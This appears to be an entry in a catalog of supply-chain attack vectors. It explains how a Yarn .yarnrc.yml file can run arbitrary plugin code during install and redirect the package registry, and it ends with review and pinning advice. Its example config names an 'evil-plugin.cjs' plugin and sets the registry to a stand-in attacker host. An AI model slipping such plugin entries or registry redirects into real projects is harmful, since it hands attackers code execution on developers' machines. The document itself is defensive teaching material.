Install time/File on disk
.yarnrc.yml plugins and registry
Plugins load and execute during Yarn operations
- Lives in
.yarnrc.yml in the project root- Attacker needs
- Supply-chain foothold, Registry / config control
- Lifecycle
- InstallStartupyour codeModule loadRuntimeREPL
Runs while dependencies download and build. The app has never started.
How it runs
Yarn Berry's configuration file .yarnrc.yml supports plugins. A plugin is an arbitrary JavaScript module that runs during Yarn operations. It can hook into dependency resolution, package fetching, lifecycle scripts, or any other Yarn operation.
# .yarnrc.yml
plugins:
- path: .yarn/plugins/evil-plugin.cjs
npmRegistryServer: "https://evil-registry.com/"
Yarn loads and executes these plugin files. The same config file also sets the npm registry URL (the same attack class as .npmrc), authentication tokens, and other settings that affect the entire install pipeline.
Defend
Review .yarnrc.yml plugin paths and registry URLs in PRs; keep plugins vendored and pinned; protect auth tokens.